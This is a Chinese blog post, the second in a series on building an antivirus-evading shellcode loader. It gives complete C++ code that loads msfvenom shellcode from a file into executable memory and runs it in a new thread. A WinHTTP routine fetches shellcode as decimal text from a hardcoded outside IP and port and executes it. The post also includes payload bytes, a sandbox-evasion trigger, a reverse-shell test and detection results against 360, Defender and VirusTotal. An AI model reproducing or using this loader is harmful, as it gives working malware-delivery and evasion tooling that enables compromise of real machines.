这是从0开始写ShellCode加载器的第2篇文章,文章列表,样本demo已上传到GitHub

之前的免杀都是把shellcode直接放在程序里面执行,分离免杀是将恶意代码放置在程序本身之外的一种加载方式。

从文件中加载shellcode

首先是最基本的,从raw格式的文件中读取shellcode

1
msfvenom -p windows/exec cmd=calc.exe -f raw -o calc

image-20220324183454110

shellcode虽然平常使用16进制形式的居多,但它本质上还是一段二进制的字节流,要用二进制的方法来读取。使用C++中ifstream类相关方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
#include<Windows.h>
#include <stdio.h>
#include <fstream>
#include<iostream>
using namespace std;

void load(char* buf, int shellcode_size)
{
DWORD dwThreadId; // 线程ID
HANDLE hThread; // 线程句柄

char* shellcode = (char*)VirtualAlloc(
NULL,
shellcode_size,
MEM_COMMIT,
PAGE_EXECUTE_READWRITE);

CopyMemory(shellcode, buf, shellcode_size);
//CreateThread函数,创建线程
hThread = CreateThread(
NULL, // 安全描述符
NULL, // 栈的大小
(LPTHREAD_START_ROUTINE)shellcode, // 函数
NULL, // 参数
NULL, // 线程标志
&dwThreadId // 若成功,接收新创建的线程的线程ID DWORD变量的地址。
);
//通过调用 WaitForSingleObject 函数来监视事件状态,当事件设置为终止状态(WaitForSingleObject 返回 WAIT_OBJECT_0)时,每个线程都将自行终止执行。
WaitForSingleObject(hThread, INFINITE); // 一直等待线程执行结束
}
int wmain(int argc, char* argv[])
{
char filename[] = "D:\\GitHub\\BypassAV\\calc";
// 以读模式打开文件
ifstream infile;
//以二进制方式打开
infile.open(filename,ios::out|ios::binary);
infile.seekg(0, infile.end); //追溯到流的尾部
int length = infile.tellg(); //获取流的长度
infile.seekg(0, infile.beg);//回溯到流头部

char *data = new char[length]; //存取文件内容
if (infile.is_open()) {
cout << "reading from the file" << endl;
infile.read(data, length);
}
cout << "size of data =" << sizeof(data) << endl;
cout << "size of file =" << length << endl;
for (int i = 0; i < length; i++)
{
printf("\\%x ", data[i]);
}
int shellcode_size = length;
load(data, shellcode_size);
//加载成功并不会输出,推测load函数新创建的线程执行结束后,主进程也终止了。
cout << "加载成功";
return 0;
}

运行结果如下,这里面有两个疑问点,一是data的size为什么是4字节, char *data = new char[length];创建对象,大小为什么不是length的长度。二是data的内容,data[1]输出为\fffffffc 一共是8×4=32比特,4字节。这样算下来整个data内存段的大小远远大于shellcode原本的长度193字节。我第一时间想法是环境问题自动补位了,但其它的data[i]还有8位,4位的长度,补位了却没有完全补?

image-20220324191126139

以上问题先留住,这段data内存加载执行是没问题的。

image-20220324193819299

免杀效果还不错。静态过了360和defender,动态被defender拦截了,毕竟shellcode没混淆加密。

很奇怪,明明加载方式都没变,还是用VirtualAlloc加载的,这次很多杀软没查杀。

image-20220324194933900

image-20220324194855090

从web加载shellcode

从本地文件中加载只是一种免杀思路,实际利用时远程加载更方便。我能想到的web远程加载形式有两种,一是从socket连接加载,客户端连接c2端口,返回shellcode;二是从http连接加载,访问c2的url返回shellcode。socket加载方式倾旋大佬教程的第五课已经实现过了,我现在来写一个http加载。

网上一搜,C++ http请求怎么实现,感觉这画风不对啊,怎么一人一个写法。C++没有python和go那样,把所有的库放一起的网站吗?

找到了微软winsock的文档,https://docs.microsoft.com/zh-cn/windows/win32/winsock/getting-started-with-winsock
还有winhttp的文档,https://docs.microsoft.com/en-us/windows/win32/api/winhttp/

还是看文档比较靠谱,实例https://www.citext.cn/415.html。

wchar_t 和 char 之间转换 教程

http get方法C++实现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
#include <string>
#include <windows.h>
#include <winhttp.h>
#include<iostream>
#pragma comment(lib, "winhttp.lib")

using namespace std;

char* WinGet(char* ip, int port, char* url)
{

HINTERNET hSession = NULL;
HINTERNET hConnect = NULL;
HINTERNET hRequest = NULL;

//************ 将char转换为wchar_t *****************/
int ipSize;
wchar_t* ip_wchar;
//返回接受字符串所需缓冲区的大小,已经包含字符结尾符'\0'
ipSize = MultiByteToWideChar(CP_ACP, 0, ip, -1, NULL, 0); //iSize =wcslen(pwsUnicode)+1=6
ip_wchar = (wchar_t*)malloc(ipSize * sizeof(wchar_t)); //不需要 pwszUnicode = (wchar_t *)malloc((iSize+1)*sizeof(wchar_t))
MultiByteToWideChar(CP_ACP, 0, ip, -1, ip_wchar, ipSize);

int urlSize;
wchar_t* url_wchar;
//返回接受字符串所需缓冲区的大小,已经包含字符结尾符'\0'
urlSize = MultiByteToWideChar(CP_ACP, 0, url, -1, NULL, 0); //iSize =wcslen(pwsUnicode)+1=6
url_wchar = (wchar_t*)malloc(urlSize * sizeof(wchar_t)); //不需要 pwszUnicode = (wchar_t *)malloc((iSize+1)*sizeof(wchar_t))
MultiByteToWideChar(CP_ACP, 0, url, -1, url_wchar, urlSize);
//************ ********************************* *****************/


//port = 80; //默认端口

//1. 初始化一个WinHTTP-session句柄,参数1为此句柄的名称
hSession = WinHttpOpen(L"WinHTTP Example/1.0",
WINHTTP_ACCESS_TYPE_DEFAULT_PROXY,
WINHTTP_NO_PROXY_NAME,
WINHTTP_NO_PROXY_BYPASS, 0);

if (hSession == NULL) {
cout << "Error:Open session failed: " << GetLastError() << endl;
exit(0);
}

//2. 通过上述句柄连接到服务器,需要指定服务器IP和端口号 INTERNET_DEFAULT_HTTP_PORT:80。若连接成功,返回的hConnect句柄不为NULL
hConnect = WinHttpConnect(hSession, ip_wchar, port, 0);
if (hConnect == NULL) {
cout << "Error:Connect failed: " << GetLastError() << endl;
exit(0);
}

//3. 通过hConnect句柄创建一个hRequest句柄,用于发送数据与读取从服务器返回的数据。
hRequest = WinHttpOpenRequest(hConnect, L"GET", url_wchar, NULL, WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES, 0);
//其中参数2表示请求方式,此处为Get;参数3:给定Get的具体地址,如这里的具体地址为https://www.citext.cn/GetTime.php
if (hRequest == NULL) {
cout << "Error:OpenRequest failed: " << GetLastError() << endl;
exit(0);
}

BOOL bResults;
//发送请求
bResults = WinHttpSendRequest(hRequest,
WINHTTP_NO_ADDITIONAL_HEADERS,
0, WINHTTP_NO_REQUEST_DATA, 0,
0, 0);

if (!bResults) {
cout << "Error:SendRequest failed: " << GetLastError() << endl;
exit(0);
}
else {
//(3) 发送请求成功则准备接受服务器的response。注意:在使用 WinHttpQueryDataAvailable和WinHttpReadData前必须使用WinHttpReceiveResponse才能access服务器返回的数据
bResults = WinHttpReceiveResponse(hRequest, NULL);
}


LPVOID lpHeaderBuffer = NULL;
DWORD dwSize = 0;
//4-3. 获取服务器返回数据
LPSTR pszOutBuffer = NULL;
DWORD dwDownloaded = 0; //实际收取的字符数
wchar_t* pwText = NULL;
if (bResults)
{
do
{
//(1) 获取返回数据的大小(以字节为单位)
dwSize = 0;
if (!WinHttpQueryDataAvailable(hRequest, &dwSize)) {
cout << "Error:WinHttpQueryDataAvailable failed:" << GetLastError() << endl;
break;
}
if (!dwSize) break; //数据大小为0

//(2) 根据返回数据的长度为buffer申请内存空间
pszOutBuffer = new char[dwSize + 1];
if (!pszOutBuffer) {
cout << "Out of memory." << endl;
break;
}
ZeroMemory(pszOutBuffer, dwSize + 1); //将buffer置0

//(3) 通过WinHttpReadData读取服务器的返回数据
if (!WinHttpReadData(hRequest, pszOutBuffer, dwSize, &dwDownloaded)) {
cout << "Error:WinHttpQueryDataAvailable failed:" << GetLastError() << endl;
}
if (!dwDownloaded)
break;


} while (dwSize > 0);
//4-4. 将返回数据转换成UTF8
DWORD dwNum = MultiByteToWideChar(CP_ACP, 0, pszOutBuffer, -1, NULL, 0); //返回原始ASCII码的字符数目
pwText = new wchar_t[dwNum]; //根据ASCII码的字符数分配UTF8的空间
MultiByteToWideChar(CP_UTF8, 0, pszOutBuffer, -1, pwText, dwNum); //将ASCII码转换成UTF8
//printf("\n返回数据为:\n%S\n\n", pwText);


}

//5. 依次关闭request,connect,session句柄
if (hRequest) WinHttpCloseHandle(hRequest);
if (hConnect) WinHttpCloseHandle(hConnect);
if (hSession) WinHttpCloseHandle(hSession);

/****************** 将wchar转换为char *******************/
int iSize;
char* data;

//返回接受字符串所需缓冲区的大小,已经包含字符结尾符'\0'
iSize = WideCharToMultiByte(CP_ACP, 0, pwText, -1, NULL, 0, NULL, NULL); //iSize =wcslen(pwsUnicode)+1=6
data = (char*)malloc(iSize * sizeof(char)); //不需要 pszMultiByte = (char*)malloc(iSize*sizeof(char)+1);
WideCharToMultiByte(CP_ACP, 0, pwText, -1, data, iSize, NULL, NULL);
return data;
}
int main()
{
char* data;
data = WinGet("101.43.138.109", 2333, "hello.txt");
cout << "返回的数据为: " << data << endl;
}

image-20220324224745142

python一行代码解决的事,C++写了100多行

现在实现了从远程服务器通过http请求获取数据,但又面临一个新问题,shellcode是二进制的,要以二进制数据流加载进内存才能执行。但是GET请求的结果是字符串,有没有办法将二进制数据编码成字符串,再从字符串还原为二进制数据呢?如果上述过程能实现,就能为shellcode在传输过程中的加密解密打开局面,对字符串的处理要比二进制数据要灵活多了。

如何实现?这个问题说到底就是如何把010100101.....的二进制数据作为可打印字符表示出来,再把这串字符转换回010100101.....,平常见到的shellcode是这样子的。

image-20220325163624084

\xfc,\xe8这是二进制11111100,11101000,编码为16进制的结果,char类型数组每位大小为1字节、8比特,刚好放下16进制的两位数据(16进制每位4比特)。所以理论上,我们创建一个shellcode_size长度的char数组,每位手动填充和16进制数据,最终这个数组在内存中的状态和直接加载shellcode是完全一样的。C++直接向数据中写16进制数据的方法我没找到,但是我可以填对应的10进制数据。

首先将shellcode按字节编码成10进制

image-20220325164742847

将生成的数据放到char数组中,使用load函数加载。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
int main() {
char buf[2048];
char a[] = {252,232,130,0,0,0,96,137,229,49,192,100,139,80,48,139,82,12,139,82,20,139,114,40,15,183,74,38,49,255,172,60,97,124,2,44,32,193,207,13,1,199,226,242,82,87,139,82,16,139,74,60,139,76,17,120,227,72,1,209,81,139,89,32,1,211,139,73,24,227,58,73,139,52,139,1,214,49,255,172,193,207,13,1,199,56,224,117,246,3,125,248,59,125,36,117,228,88,139,88,36,1,211,102,139,12,75,139,88,28,1,211,139,4,139,1,208,137,68,36,36,91,91,97,89,90,81,255,224,95,95,90,139,18,235,141,93,106,1,141,133,178,0,0,0,80,104,49,139,111,135,255,213,187,240,181,162,86,104,166,149,189,157,255,213,60,6,124,10,128,251,224,117,5,187,71,19,114,111,106,0,83,255,213,99,97,108,99,46,101,120,101,0,0};
int shellcode_size = sizeof(a);
cout << sizeof(a) <<endl;

for (int i = 0; i < shellcode_size;i++)
{
printf("\\x%x", a[i]);
}
load(a, shellcode_size);

return 0;
}

shellcode成功执行!和上次文件加载的内存相比较,两次的内存数据一模一样。

image-20220325165114721

image-20220324191126139

这样一来我们web远程加载的思路就清晰了。

首先将十进制的数据放到web服务器

image-20220325165704222

字符串生成buf数组函数代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
char *StrToShellcode(char str[])
{
char buf[2048];
const char s[2] = ",";
char* token;
int i = 0;
/* 获取第一个子字符串 */
token = strtok(str, s);
//buf[i] = char(stoi(token));
/* 继续获取其他的子字符串 */
while (token != NULL) {

buf[i] = char(stoi(token)); //stoi函数将字符串转换整数
printf("%s %d\n", token,i);
printf("%x\n", stoi(token));
token = strtok(NULL, s);
i++;
}
load(buf, 2048); //晕了,指针传参回主函数不会了,先在这加载了
return buf;
}
int main()
{
char* data;
data = WinGet("101.43.138.109", 2333, "hello.txt");
cout << "返回的数据为: " << data << endl;
char *buf = StrToShellcode(data);
}

远程加载shellcode成功。

用反弹shell进行实战测试。远程加载成功。

image-20220325175114246

加一个简单的触发条件,避免沙箱直接运行白给。

1
2
3
4
5
6
7
8
9
10
int main(int argc, char * argv[])
{
char* data;
data = WinGet("101.43.138.109", 2333, "hello.txt");
cout << "返回的数据为: " << data << endl;
cout << argc;
if (argc > 2) { //命令行参数大于两个时才加载
char* buf = StrToShellcode(data);
}
}

免杀效果,360静动全过,defender全查杀。virustotal检测效果如下。

image-20220325175441623